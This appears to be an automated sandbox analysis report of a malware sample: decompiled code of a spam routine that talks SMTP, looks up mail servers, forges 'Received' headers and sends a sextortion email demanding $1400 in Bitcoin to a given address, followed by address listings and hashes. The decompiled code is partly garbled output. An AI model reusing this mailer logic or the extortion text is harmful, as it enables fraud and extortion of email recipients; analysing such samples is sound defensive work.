																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff); // executed
																			if(__eax != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c)));
					return  *(_t192 - 8);
				}
			}

0x00ea1c7c
0x00ea1c7c
0x00ea1c7c
0x00ea1c87
0x00ea1c8c
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00ea220c
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad0
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af6
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00000000
0x00000000
0x00ea1b1b
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1bb6
0x00ea1bb6
0x00ea1bbf
0x00ea1bc6
0x00ea1bcc
0x00ea1bdb
0x00ea1be2
0x00ea1be8
0x00ea1beb
0x00ea1bf1
0x00ea1bff
0x00ea1c03
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00000000
0x00ea1c27
0x00ea1c27
0x00ea1c37
0x00ea1c3d
0x00ea1c40
0x00ea1c46
0x00ea1c4d
0x00ea1c58
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1cab
0x00ea1cab
0x00ea1cc9
0x00ea1ccf
0x00ea1cdd
0x00ea1cea
0x00ea1cf2
0x00ea1cfb
0x00ea1d0a
0x00ea1d11
0x00ea1d16
0x00ea1d17
0x00ea1d1c
0x00ea1d1c
0x00ea1d22
0x00ea1d27
0x00ea1d28
0x00ea1d2d
0x00ea1d2d
0x00ea1d33
0x00ea1d38
0x00ea1d39
0x00ea1d3e
0x00ea1d3e
0x00ea1d44
0x00ea1d49
0x00ea1d4a
0x00ea1d4f
0x00ea1d6c
0x00ea1d73
0x00ea1d79
0x00ea1d7c
0x00ea1d82
0x00ea1d90
0x00ea1d94
0x00ea1d9e
0x00ea1dac
0x00ea1dc5
0x00ea1dce
0x00ea1ddc
0x00ea1de3
0x00ea1de9
0x00ea1dec
0x00ea1df9
0x00ea1e00
0x00ea1e04
0x00ea1e0e
0x00ea1e25
0x00ea1e2c
0x00ea1e32
0x00ea1e35
0x00ea1e3b
0x00ea1e49
0x00ea1e4d
0x00ea1e57
0x00ea1e65
0x00ea1e75
0x00ea1e7b
0x00ea1e7e
0x00ea1e84
0x00ea1e8b
0x00ea1ea0
0x00ea1eb8
0x00ea1ebf
0x00ea1ec5
0x00ea1ec8
0x00ea1ece
0x00ea1edc
0x00ea1ee0
0x00ea1eea
0x00ea1ef8
0x00ea1f0b
0x00ea1f11
0x00ea1f14
0x00ea1f1a
0x00ea1f21
0x00ea1f2c
0x00ea1f36
0x00ea1f44
0x00ea1f4b
0x00ea1f66
0x00ea1f74
0x00ea1f7b
0x00ea1f81
0x00ea1f84
0x00ea1f8a
0x00ea1f98
0x00ea1f9c
0x00ea1fa6
0x00ea1fbb
0x00ea1fc9
0x00ea1fe2
0x00ea1fec
0x00ea2008
0x00ea2015
0x00ea2030
0x00ea2044
0x00ea2051
0x00ea2080
0x00ea208d
0x00ea20bc
0x00ea20c9
0x00ea20e1
0x00ea20e5
0x00ea20ef
0x00ea2104
0x00ea211f
0x00ea2133
0x00ea2140
0x00ea216f
0x00ea217c
0x00ea21ab
0x00ea21b8
0x00ea21d0
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00000000
0x00ea21f2
0x00ea21f9
0x00ea21fd
0x00ea2205
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea2211
0x00ea221a
0x00ea2223
0x00ea222d
0x00ea2239
0x00ea2239

APIs

Part of subcall function 00EA1120: lstrlenA.KERNEL32(?), ref: 00EA112D
Part of subcall function 00EA1120: send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

DATA, xrefs: 00EA1C7E

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: DATA
API String ID: 317823648-550793329
Opcode ID: 1fdd77924b888b346bdbebd19f02e98281936852a71c2655c93761f3e1535455
Instruction ID: fbaafbc2f7a8fd60df2fd6efea94187d56d5fd05c62cd322d095bba2dfbdbbc8
Opcode Fuzzy Hash: 1fdd77924b888b346bdbebd19f02e98281936852a71c2655c93761f3e1535455
Instruction Fuzzy Hash: 700171B5D04218DFCF10CBE4DC49BEEB7B4BB5E348F0052A9EA157A291E7786944CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00EA21F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00EA21F2(void* __eflags) {
				intOrPtr _t169;
				void* _t170;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					E00EA1120( *((intOrPtr*)(_t192 - 0x1c)), "QUIT", 0xffffffff); // executed
					_t195 = _t194 + 0xc;
					 *(_t192 - 0x20) = 8;
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t169 = E00EA1160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t169;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t170 = E00EA11C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t170 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M00EA223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t174 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.99]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t174;
										} else {
											_t177 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.99]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t177;
										}
										_t176 = E00EA1120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t176 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L25:
										__ecx = __ebp - 0x61c;
										E00EA1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E00EA1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E00EA1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t59 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t63 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t67 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t71 = __eax % 0xd2;
										E00EA1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t71 + 1, _t67 + 1, _t63 + 1, _t59 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E00EA1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E00EA1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
												if(__eax != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
														if(__eax != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
															if(__eax != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E00EA1320(__ecx, 6, __ecx) = E00EA1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
																if(__eax != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E00EA1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		__eax = E00EA1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
																		if(__eax != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			__eax = E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff); // executed
																			if(__eax != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E00EA1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										goto L0;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c)));
					return  *(_t192 - 8);
				}
			}

0x00ea21f2
0x00ea21f2
0x00ea21f2
0x00ea21fd
0x00ea2202
0x00ea2205
0x00000000
0x00ea220c
0x00ea1ab4
0x00ea1ab9
0x00ea1abc
0x00ea1ac9
0x00ea1ad0
0x00ea1ad6
0x00ea1ae5
0x00ea1aea
0x00ea1aef
0x00ea1af6
0x00ea1af9
0x00ea1b08
0x00ea1b15
0x00000000
0x00000000
0x00ea1b1b
0x00ea1b21
0x00000000
0x00ea1b28
0x00ea1b28
0x00ea1b3c
0x00ea1b71
0x00ea1b77
0x00ea1b7a
0x00ea1b3e
0x00ea1b4f
0x00ea1b55
0x00ea1b58
0x00ea1b58
0x00ea1b92
0x00ea1b97
0x00ea1b9c
0x00ea1baa
0x00ea1b9e
0x00ea1b9e
0x00ea1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1bb6
0x00ea1bb6
0x00ea1bbf
0x00ea1bc6
0x00ea1bcc
0x00ea1bdb
0x00ea1be2
0x00ea1be8
0x00ea1beb
0x00ea1bf1
0x00ea1bff
0x00ea1c03
0x00ea1c0d
0x00ea1c1b
0x00ea1c0f
0x00ea1c0f
0x00ea1c0f
0x00000000
0x00000000
0x00ea1c27
0x00ea1c27
0x00ea1c37
0x00ea1c3d
0x00ea1c40
0x00ea1c46
0x00ea1c4d
0x00ea1c58
0x00ea1c62
0x00ea1c70
0x00ea1c64
0x00ea1c64
0x00ea1c64
0x00000000
0x00000000
0x00ea1c7c
0x00ea1c83
0x00ea1c87
0x00ea1c91
0x00ea1c9f
0x00ea1c93
0x00ea1c93
0x00ea1c93
0x00000000
0x00000000
0x00ea1cab
0x00ea1cab
0x00ea1cc9
0x00ea1ccf
0x00ea1cdd
0x00ea1cea
0x00ea1cf2
0x00ea1cfb
0x00ea1d0a
0x00ea1d11
0x00ea1d16
0x00ea1d17
0x00ea1d1c
0x00ea1d1c
0x00ea1d22
0x00ea1d27
0x00ea1d28
0x00ea1d2d
0x00ea1d2d
0x00ea1d33
0x00ea1d38
0x00ea1d39
0x00ea1d3e
0x00ea1d3e
0x00ea1d44
0x00ea1d49
0x00ea1d4a
0x00ea1d4f
0x00ea1d6c
0x00ea1d73
0x00ea1d79
0x00ea1d7c
0x00ea1d82
0x00ea1d90
0x00ea1d94
0x00ea1d9e
0x00ea1dac
0x00ea1dc5
0x00ea1dce
0x00ea1ddc
0x00ea1de3
0x00ea1de9
0x00ea1dec
0x00ea1df9
0x00ea1e00
0x00ea1e04
0x00ea1e0e
0x00ea1e25
0x00ea1e2c
0x00ea1e32
0x00ea1e35
0x00ea1e3b
0x00ea1e49
0x00ea1e4d
0x00ea1e57
0x00ea1e65
0x00ea1e75
0x00ea1e7b
0x00ea1e7e
0x00ea1e84
0x00ea1e8b
0x00ea1ea0
0x00ea1eb8
0x00ea1ebf
0x00ea1ec5
0x00ea1ec8
0x00ea1ece
0x00ea1edc
0x00ea1ee0
0x00ea1eea
0x00ea1ef8
0x00ea1f0b
0x00ea1f11
0x00ea1f14
0x00ea1f1a
0x00ea1f21
0x00ea1f2c
0x00ea1f36
0x00ea1f44
0x00ea1f4b
0x00ea1f66
0x00ea1f74
0x00ea1f7b
0x00ea1f81
0x00ea1f84
0x00ea1f8a
0x00ea1f98
0x00ea1f9c
0x00ea1fa6
0x00ea1fbb
0x00ea1fc9
0x00ea1fe2
0x00ea1fec
0x00ea2008
0x00ea2015
0x00ea2030
0x00ea2044
0x00ea2051
0x00ea2080
0x00ea208d
0x00ea20bc
0x00ea20c9
0x00ea20e1
0x00ea20e5
0x00ea20ef
0x00ea2104
0x00ea211f
0x00ea2133
0x00ea2140
0x00ea216f
0x00ea217c
0x00ea21ab
0x00ea21b8
0x00ea21d0
0x00ea21de
0x00ea21e9
0x00ea21e0
0x00ea21e0
0x00ea21e0
0x00ea20f1
0x00ea20f1
0x00ea20f1
0x00ea1fee
0x00ea1fee
0x00ea1fee
0x00ea1fcb
0x00ea1fcb
0x00ea1fcb
0x00ea1fa8
0x00ea1fa8
0x00ea1fa8
0x00ea1f38
0x00ea1f38
0x00ea1f38
0x00ea1eec
0x00ea1eec
0x00ea1eec
0x00ea1ea2
0x00ea1ea2
0x00ea1ea2
0x00ea1e59
0x00ea1e59
0x00ea1e59
0x00ea1e10
0x00ea1e10
0x00ea1e10
0x00ea1da0
0x00ea1da0
0x00ea1da0
0x00000000
0x00000000
0x00000000
0x00000000
0x00ea1af1
0x00000000
0x00ea1af1
0x00ea1acb
0x00000000
0x00ea1acb
0x00ea1ac9
0x00ea2211
0x00ea221a
0x00ea2223
0x00ea222d
0x00ea2239
0x00ea2239

APIs

Part of subcall function 00EA1120: lstrlenA.KERNEL32(?), ref: 00EA112D
Part of subcall function 00EA1120: send.WS2_32(?,?,000000FF,00000000), ref: 00EA1144

shutdown.WS2_32(000000FF,00000002), ref: 00EA2223
closesocket.WS2_32(000000FF), ref: 00EA222D

Strings

QUIT, xrefs: 00EA21F4

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: QUIT
API String ID: 317823648-1967077921
Opcode ID: be3acd6b963453a0daf2d56c2a38def1df88a48f8d233122c480e0f693bacc8b
Instruction ID: 5d2e75b869dc45a0ccd37f37b0658e4b54b103a05757d2023f3aedc342be6ad3
Opcode Fuzzy Hash: be3acd6b963453a0daf2d56c2a38def1df88a48f8d233122c480e0f693bacc8b
Instruction Fuzzy Hash: 50016DB5D00218EFCF10CBA4DC49BEDB7B4BF9E305F0052A8E6157A291D7786584CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00EA16E0 Relevance: 4.5, APIs: 3, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EA1440: inet_addr.WS2_32(00EA10D9), ref: 00EA144A
Part of subcall function 00EA1440: gethostbyname.WS2_32(?), ref: 00EA145D

htons.WS2_32(?), ref: 00EA1714
socket.WS2_32(00000002,00000001,00000006), ref: 00EA1724

Memory Dump Source

Source File: 00000009.00000002.892724043.0000000000EA1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000009.00000002.892708963.0000000000EA0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.892764370.0000000000EA7000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ea0000_1925824589.jbxd

Similarity

API ID: gethostbynamehtonsinet_addrsocket
String ID:
API String ID: 230923099-0
Opcode ID: fd4f8588c67d3abd1026f561888da477efdc2a82e90fee9e16394aa4ac03c843
Instruction ID: 9147d673f50cf90b6bd46346a6853de3ad3600399710c25494e8c4ed8fc8fbde
Opcode Fuzzy Hash: fd4f8588c67d3abd1026f561888da477efdc2a82e90fee9e16394aa4ac03c843
Instruction Fuzzy Hash: BD015278D00208EBCB10DBB49845ABD7B75AF5F334F205395F525BB2D0E770AA419751

Uniqueness

Uniqueness Score: -1.00%

Function 00EA10A0 Relevance: 4.5, APIs: 3, Instructions: 41
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00EA10A0(intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char* _t16;
				intOrPtr _t19;
				short _t20;

				_v12 = 0;
				_v8 = 0;
				_push(0);
				_t16 =  &_v8;
				_push(_t16);
				_push(0);
				_push(0);
				_push(0xf);
				_push(_a4); // executed
				L00EA307A(); // executed
				if(_t16 == 0) {
					_t19 = E00EA1440( *((intOrPtr*)(_v8 + 0x18))); // executed
					 *((intOrPtr*)(_a8 + 4)) = _t19;
					if(_a8 != 0) {
						_t20 = _a8;
						 *_t20 = 2;
						__imp__#9(0x19);
						 *((short*)(_a8 + 2)) = _t20;
						_v12 = 1;
					}
					_push(1);
					_push(_v8); // executed
					L00EA3074(); // executed
				}
				return _v12;
			}

0x00ea10a6
0x00ea10ad
0x00ea10b4
0x00ea10b6
0x00ea10b9
0x00ea10ba
0x00ea10bc
0x00ea10be
0x00ea10c3
0x00ea10c4
0x00ea10cb
0x00ea10d4
0x00ea10df
0x00ea10e6
0x00ea10ed
0x00ea10f0
0x00ea10f5
0x00ea10fe
0x00ea1102
0x00ea1102
0x00ea1109
0x00ea110e
0x00ea110f
0x00ea110f
0x00ea111a

APIs

DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 00EA10C4

Part of subcall function 00EA1440: inet_addr.WS2_32(00EA10D9), ref: 00EA144A
